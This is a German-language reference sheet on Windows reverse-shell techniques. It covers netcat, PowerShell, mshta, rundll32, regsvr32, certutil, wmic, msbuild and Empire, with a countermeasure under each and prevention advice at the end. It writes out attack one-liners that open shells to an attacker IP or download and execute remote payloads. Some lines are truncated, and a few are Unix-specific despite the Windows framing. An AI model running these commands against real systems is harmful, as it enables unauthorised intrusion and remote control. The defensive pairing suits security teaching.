Reverse Shells - Windows
Wann welches Tool verwendet werden sollte
Netcat (NC, Ncat)
Einfacher Reverse Shell oder verschlüsselte Verbindung
+ Einfach zu verwenden - Wird oft erkannt
SBD
Sichere Alternative zu Netcat, wenn Verschlüsselung erforderlich ist
+ Starke Verschlüsselung - Weniger bekannt, aber effizient
Python
Systeme, auf denen Python installiert ist
+ Flexibel - Python muss installiert sein
Perl
Systeme, auf denen Perl installiert ist
+ Funktioniert gut in älteren Umgebungen - Perl muss installiert sein
Powershell
Moderne Windows-Systeme
+ Powershell ist immer installiert - Defender erkennt oft
Mshta / Rundll32
Wenn man HTA-Dateien ausnutzen oder DLLs laden will
+ Bypass von Whitelists - Defender erkennt oft
Regsvr32
Laden von remote Scriplets, ohne sie auf der Festplatte zu speichern
+ Keine Dateispuren - Eher komplex
Certutil
Payloads herunterladen und dekodieren
+ Flexibel - Wird oft erkannt
Wmic
Remote Code-Ausführung mittels XSL
+ Kein zusätzlicher Download erforderlich - Meistens nur in internen Netzen nützlich
Msbuild
Kompilieren und Ausführen von schädlichem Code zur Umgehung von Application Whitelisting
+ Kein Powershell benötigt - Nicht auf allen Systemen verfügbar
Netcat/Ncat: Verwende Netcat, wenn du schnell eine Shell ohne große Vorbereitung benötigst und keine Verschlüsselung erforderlich ist.
Powershell: Powershell sollte verwendet werden, wenn du Flexibilität brauchst und sicher bist, dass der Zielrechner nicht restriktiv konfiguriert ist.
Mshta/Rundll32: Besonders nützlich bei der Umgehung von Application Whitelisting-Mechanismen und bei älteren Windows-Systemen, auf denen ActiveX und HTA erlaubt sind.
Regsvr32: Ideal für Situationen, in denen du keine Datei auf der Festplatte ablegen möchtest (fileless).
SBD/Msbuild: SBD für verschlüsselte Verbindungen, Msbuild, wenn du Application Whitelisting umgehen willst.
1. Netcat (NC und Ncat)
Netcat ist ein klassisches Werkzeug für Netzwerkoperationen. Es kann sowohl zum Erstellen einer einfachen Shell als auch für verschlüsselte Verbindungen genutzt werden, um Firewalls und andere Sicherheitsmechanismen zu umgehen.
Einfacher Reverse Shell (nc.exe):
nc.exe -e cmd.exe <Attacker_IP> <PORT>
Abwehrmaßnahmen: Monitoring von Netzwerkverbindungen auf ungewöhnliche Ports, Erkennung von
nc.exe
-Nutzung.
Verschlüsselte Shell (ncat.exe mit SSL):
ncat.exe <Attacker_IP> <PORT> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
Abwehrmaßnahmen: SSL-Dekodierung mit Sicherheitslösungen, Protokoll-Inspektion, Anwendungskontrolle.
2. SBD (Secure Netcat Alternative)
sbd
ist eine sichere Alternative zu Netcat, die starke Verschlüsselung bietet. Ideal für Szenarien, in denen Standard-Netcat nicht verfügbar oder unerwünscht ist.
Listener auf Opfer:
sbd -l -p 4444 -e bash -v -n
Abwehrmaßnahmen: Überwachung des Netzwerkverkehrs auf Anomalien, Erkennung des
sbd
-Binaries.
3. Python Reverse Shell
Python kann genutzt werden, um eine Reverse Shell zu erstellen. Dabei wird das Socket-Modul verwendet.
Beispiel (Windows):
C:\Python27\python.exe -c "<komplexer Python-Code>"
Abwehrmaßnahmen: Verbieten oder Einschränken von Python auf Endgeräten, Whitelisting von legitimen Anwendungen.
4. Perl Reverse Shell
Perl kann ähnlich wie Python für eine Shell genutzt werden, insbesondere auf Systemen, auf denen Perl bereits installiert ist.
Beispiel:
perl -e 'use Socket;$i="ATTACKER-IP";$p=80;socket(S,...exec("/bin/sh -i");'
Abwehrmaßnahmen: Einschränkung der Nutzung von Perl auf dem System, Netzwerk-IDS zur Überwachung von Port 80 auf ungewöhnliche Daten.
5. Powershell
Powershell ist ein mächtiges Werkzeug für Administratoren, bietet aber auch Angreifern viele Möglichkeiten. Es erlaubt das Ausführen von Scripts, das Herunterladen von Payloads und das Erstellen von Reverse Shells.
Remote Script Download:
powershell -exec bypass -c "(New-Object Net.WebClient).DownloadString('http://10.10.14.9:8000/ipw.ps1')|iex"
Abwehrmaßnahmen: Powershell Logging aktivieren (
ScriptBlockLogging
), Whitelisting und eingeschränkte Execution Policies nutzen.
One-Liner Reverse Shell:
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10", 80);...
Abwehrmaßnahmen: Netzwerktraffic überwachen, besonders Powershell-basierten Datenverkehr.
6. Mshta und HTA-Dateien
Mshta kann HTML Application (HTA)-Dateien ausführen, was Angreifern die Möglichkeit bietet, komplexe Skripte von einem Remote-Server herunterzuladen und auszuführen.
VBScript Remote Execution:
mshta vbscript:Close(Execute("GetObject(\"script:http://webserver/payload.sct\")"))
Abwehrmaßnahmen: Blockieren von mshta.exe über Application Control (z.B. Applocker), Netzwerk-Whitelist für URLs.
7. Rundll32
Rundll32
kann genutzt werden, um DLLs und Skripte auszuführen.
Script Execution:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Abwehrmaßnahmen: Überwachung auf verdächtige
rundll32
-Nutzung, Blockieren nicht benötigter ActiveX-Controls.
8. Regsvr32
Mit Regsvr32
können Scriplets remote ausgeführt werden, ohne dass diese auf die Festplatte geschrieben werden.
Remote DLL Ausführung:
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
Abwehrmaßnahmen: Einsatz von Applocker zum Blockieren von
regsvr32
, Inspektion von DLL-Registrierungen.
9. Certutil
Certutil
kann verwendet werden, um Dateien (Payloads) herunterzuladen und zu dekodieren, was es nützlich für die Umgehung von Restriktionen macht.
Download & Decode:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Abwehrmaßnahmen: Netzwerkfilterung auf Basis von ungewöhnlichen
certutil
-Aktivitäten.
10. Wmic
Wmic erlaubt das Ausführen von Skripten und XSL-Stylesheets. Dies kann genutzt werden, um remote Code zu laden und auszuführen.
XSL Script Remote Execution:
wmic os get /format:"https://webserver/payload.xsl"
Abwehrmaßnahmen: Einschränkung der Nutzung von
wmic
, Monitoring auf ungewöhnliche HTTP-Requests.
11. Msbuild
Msbuild kann missbraucht werden, um Anwendungen zu kompilieren und dabei schädlichen Code auszuführen, ohne Powershell zu verwenden.
Bypass Application Whitelisting:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
Abwehrmaßnahmen: Anwendungskontrolle (z.B. Applocker) zur Beschränkung von
msbuild.exe
.
12. Empire und MSF-Unicorn
Diese Tools erzeugen Powershell- oder Metasploit-Payloads, die dann über verschiedene Techniken auf das Opfer gebracht und ausgeführt werden können.
Empire-Powershell:
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex"
Abwehrmaßnahmen: Strenge Netzwerkfilterung, Erkennung von bekannten Empire-Signaturen.
Empfehlungen zur Prävention
Application Whitelisting: Verwendung von Applocker oder Device Guard, um den Zugriff auf verdächtige Binaries wie
certutil
,rundll32
,mshta
usw. einzuschränken.Endpoint Detection and Response (EDR): Überwachung und Erkennung von verdächtigem Verhalten, wie z.B. unerwartete Netzwerkverbindungen, Powershell-Ausführungen mit
-exec bypass
.Netzwerksegmentierung: Begrenzen der Kommunikation zwischen verschiedenen Netzwerken, insbesondere des Zugriffs von Clients auf Admin-Ressourcen.
Powershell Logging und AMSI: Aktivieren von ScriptBlock- und Modul-Logging sowie Nutzung der Anti-Malware Scan Interface (AMSI), um Powershell-Kommandos zu inspizieren.
Firewall- und IDS/IPS-Regeln: Blockieren und Erkennen von bekannten Reverse Shell-Verbindungen, besonders bei ungewöhnlichen Ports.
Diese erweiterten Informationen bieten eine detaillierte Übersicht über Techniken und Präventionsmethoden für Reverse Shells auf Windows-Systemen. Sie können helfen, sowohl die offensiven Techniken besser zu verstehen als auch effektive Abwehrmaßnahmen zu ergreifen.
Last updated